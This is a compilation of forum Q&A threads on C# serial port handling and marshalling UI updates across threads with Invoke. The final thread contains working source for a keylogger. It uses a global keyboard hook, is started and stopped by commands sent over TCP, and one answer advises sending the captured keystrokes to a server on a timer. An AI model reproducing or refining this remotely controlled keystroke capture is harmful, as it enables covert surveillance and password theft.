I am in the process of writing an application, that involves serial communication with a device among other things. (in C#). I have seen some sample code, in concrete two examples.
In the first example, the code is based on a Background control which has a while loop that checks if there is data read from the serial port (another control) and when it does do some processing
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
{ serialPort1.Open();
while (backgroundWorker1.CancellationPending == false)
{
if (serialPort1.BytesToRead >= 240)
{
serialPort1.Read(RDATA, 0, 240);
//Some other process
}
}
serialPort1.Close();
}
The second example is quite different. This involves delegates and events. In this case the serial port (created in code) has an event "DataReceived". To this we add an event handler
ComPort.DataReceived +=
new System.IO.Ports.SerialDataReceivedEventHandler(port_DataReceived_1);
and then the port_DataReceived_1 function is defined, in which the input data is read
private void port_DataReceived_1(object sender, SerialDataReceivedEventArgs e)
{
InputData = ComPort.ReadExisting();
if (InputData != String.Empty)
{
this.BeginInvoke(new SetTextCallback(SetText), new object[] { InputData });
}
}
private void SetText(string text)
{
this.rtbIncoming.Text += text;
}
Anyway, I can see two different styles of coding serial communication here. On one hand we have a constant polling (through while) that would block the rest of the program if it weren't on another thread. It is done in a different thread though.
On the other hand we have interruptions in which the processing is done only when an event happens and not the rest of the time. It is all done on the main thread though.
My question is which of these ways would be preferable. I am imaging that the first method, even if it is on a different thread takes a lot of resources of the computer, maybe even taking the load of the CPU to 100% or something.
I am more inclined to do the second one but then again it is all in one thread.
Any recommendations, advice on this?
(My application will involve not only serial communication but maybe processing on the data received, perhaps even machine learning)
You should definitely go with the second option, which is likely handled by an I/O Completion Port thread. If you're writing a WinForms application then you'll need to make sure to check the InvokeRequired flag and perform any UI manipulation on the main thread by passing a delegate to the Invoke method.
Related
I have a C# program that reads from two serial ports at the same time. The serial port device is a Prolific USD to 4 serial ports adapter and I plug the two hardware on separate ports of the adapter. The problem is when I read from each port one at a time, everything works fine but when I try to read from both ports at the same time, one of the port is not responding. To troubleshoot the problem, I started two instances of the application and was able to read from the two ports at a time (one from each instance of the application). Does anyone know how to read from two separate serial ports in one application at the same time? Thank you.
Adding some codes:
Port 1:
// button to start or stop reading from port 1. Because the hardware requires me to write to it before reading the response, the writing is done in the timer
private void buttonPort1_Click(object sender, EventArgs e)
{
if (buttonPort1.Text == "Start Recording")
{
if (!port1.IsOpen)
{
port1.Open();
}
timerPort1.Start();
buttonPort1.Text = "Stop Recording";
}
else
{
timerPort1.Stop();
buttonPort1.Text = "Start Recording";
}
}
// Write "D" to the hardware each time to receive back the response
private void timerPort1_Tick(object sender, EventArgs e)
{
port1.Write("D");
}
void port1_DataReceived(object sender, SerialDataReceivedEventArgs e)
{
try
{
string result = port1.ReadLine();
oneParamDelegate dg = PHandCondResult; // send back the result to the main thread
this.Invoke(dg, result);
}
catch
{
}
}
Port 2
The code for the second port is similar to the above really, the difference being different port, datareceived event and timer.
I'll try the multiple thread options suggested by Grant Thomas: I didn't try this before because I thought serial ports are already working on separate threads: the datareceived event doesn't block the main thread and you can't access controls created on the main thread but I'll still give it a go using background worker and revert back later. Thank you all for the quick response.
You're going to need to do some reading, specifically on Threading.
If you have, say, some code that looks like this:
ReadDataFromSomePort();
ReadDataFromSomeOtherPort();
Then the first will execute synchronously (blocking) and then the latter. This happens on the same thread, the main application thread. When you want to do asynchronous things, including just doing one thing while keeping a UI interactive/responsive, then you need to delegate work to other threads.
So, you end up with something like this:
var thread1 = new Thread(ReadDataFromSomePort);
var thread2 = new Thread(ReadDataFromSomeOtherPort);
thread1.Start();
thread2.Start();
There's more to it than this, rest assured, so I recommend some research on the concept before proceeding.
MSDN has a tutorial/programming reference for threading that should get you started.
Creating two different objects of SerialPort and different DataReceived events for both should work.
I am sending and receiving data from a device using
c# (serial communication). For receiving my setup is like this.
I am receiving on a separate thread i.e. I have something like this
comPort.DataReceived += new SerialDataReceivedEventHandler(comPort_DataReceived);
private void comPort_DataReceived(object sender, SerialDataReceivedEventArgs e)
{
.....
}
To write I push a button which write data to the device.
Now I was thinking to write data automatically when ever I receive some data from device instead of me pushing
the button when ever I receive data. So my q is that can I put
comPort.WriteLine(textBox1.Text + "\r\n"); in the body of
private void comPort_DataReceived(object sender, SerialDataReceivedEventArgs e)
function. Becase when I put write here it stops working. Otherwise write works with separate button push as I mentioned above.
Can somebody tell me whats the correct way. Is there any issue of threads or someting
Thanks !
Any operation with UI controls (including reading and writing properties like Text) should be done in application's main thread. If you are in another thread, you should use the Invoke method to do the operation:
var text = (string)textBox1.Invoke(new Func<string>(() =>
{
return textBox1.Text;
}));
comPort.WriteLine(text + "\r\n");
Read this answer for more information.
Part of my program uses an event handler for the receive data of my serial port. The idea is when data is received that the text received is then added to the textbox (rx). I did not used to have this problem but something has changed and I can't figure out what. So now I am re-examining the way this is handled.
During the form load of my winform the last thing I do is
if (!serialPort1.IsOpen)
{
serialPort1.Open();
serialPort1.DataReceived += new SerialDataReceivedEventHandler(DataReceivedHandler);
}
Then I have the event handler
private void DataReceivedHandler(object sender, SerialDataReceivedEventArgs e)
{
string indata1 = serialPort1.ReadExisting();
// rx.Text = " "; accidentally posted this. it was from trial and error.
rx.AppendText(Environment.NewLine + indata1);
}
When I run the program it stops at the rx.AppendText(Environment.NewLine + indata1); and gives the error
invalidoperationexception was unhandled: Control "accessed from a
thread other than the thread it was created on.
From what I have been able to read suggests that I need to use invoke or BeginInvoke.
I have never had problems appending the text before so now I can't understand why it's a problem. Also from what I have been reading on invoking i just don't understand it.
Can someone help me understand how to use the invoke instance for my situation? or perhaps show me another way of appending the text box?
Usually the exception you're seeing occurs when you run in debug mode, and if you run your application in release mode, you're unlikely to see the exception.
However, it is best to use invoke, as you have read. Something like this:
private delegate void RefreshTextBox();
private void DataReceivedHandler(object sender, SerialDataReceivedEventArgs e) {
//this event is raised in an event separate from UI thread,
//so InvokeRequired must be checked and Invoke called to update UI controls.
if (this.InvokeRequired) {
RefreshTextBox d = new RefreshTextBox(RefreshTextBoxResults);
Invoke(d);
} else {
RefreshTextBoxResults();
}
}
private void RefreshTextBoxResults() {
string indata1 = serialPort1.ReadExisting();
rx.Text = " ";
rx.AppendText(Environment.NewLine + indata1);
}
The first time you see this invoke stuff, it's nearly impossible to follow, but take a close look and give it some time and it will make sense. Promise. :)
Updates in GUI applications should only be done on the GUI thread. Another thread attempting to update GUI components directly will result in either the error you described or in seemingly random behavior.
The role of Invoke & friends is to enable a secondary thread to safely forward GUI updates to the GUI thread, which will then process them from a queue.
In your case (assuming WinForms here):
rx.BeginInvoke(
(Action)(() =>
{
rx.AppendText(Environment.NewLine + indata1);
}));
BeginInvoke is asynchronous, so the thread calling it will not wait for the actual updates to be processed before moving on, while Invoke is synchronous.
Well, I've been strugling for the last 4 days with this SerialPort control in C# with no satisfactory results. Let me explain:
I have a device (Arduino UNO Board) that comunicates with a c# prog which simulates a scale (simple request/response pattern), the device sends a command sequence consisting of 3 bytes (asking for a weigh): CHR(27)+P+CHR(13) so the simulator responds with a simulated weight (I have sorted out how the device catches and parses this weight so this is not longer of the problem).
Using the DataReceive event seems I'm loosing data using Serialport.Read() so I wasted this approach so far.
The simulator HAVE TO BE ALWAYS listening for the said seq. of bytes and HAVE TO HAVE a GUI. I understand that for this I must use a Thread in order to prevent the GUI is locked (perhaps a backgroundworker?) and a sort of buffer which is shared between (now) this 2 threads and prevent the threads read/write at the same time to the buffer (do I need a state machine?) (I ask for help on this since I don't know if this is a good approach or my assumptions are wrong or if theres is a more easy way to solve this) so I'm asking for advice and (with lot of luck) code fragments or if you've faced to develop a similar app how you solved it.
I can provide the code I've done so far if necesary to clarify further more. Hope you can shed a light on this.
Thanks in advance.
UPDATE 1
This is the code i have so far:
ConcurrentQueue<byte> queue = new ConcurrentQueue<byte>();
....
private void backgroundWorker_DoWork(object sender, DoWorkEventArgs e)
{
bool listening = true;
while(listening)
{
if(serialPort.BytesToRead > 0)
{
byte b = (byte)serialPort.ReadByte();
queue.Enqueue(b);
}
}
}
So since a command have to end with character 13 (CR in ASCII):
public string GetCommand()
{
string ret = "";
byte[] ba = new byte[1];
byte b = (byte)' ';
while(b!=13)
{
if(queue.TryDequeue(out b))
{
ba[0] = b;
ret += ASCIIEncoding.ASCII.GetString([ba]);
}
}
return ret;
}
In order to test this GetCommand() method I call it from the main ui thread within a buton_click event but it hangs the app, do i need to create another thread to call GetCommand() ?
This is ok for small amount of data. But if the data is bigger like if you are passing some http information, then the queue size may not be sufficient. So I think you should use a non-blocking type of architecture.
See this answer for how to implement the sending side.
For the reading side use a dedicated thread, in that thread read a message from the port, queue it up in a suitable concurrent data structure (e.g. a ConcurrentQueue) and immediately loop back to wait for the next input from the serial port.
Consume the input from the queue on a separate thread.
There may be more efficient ways but this one is easy to implement and foolproof.
I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.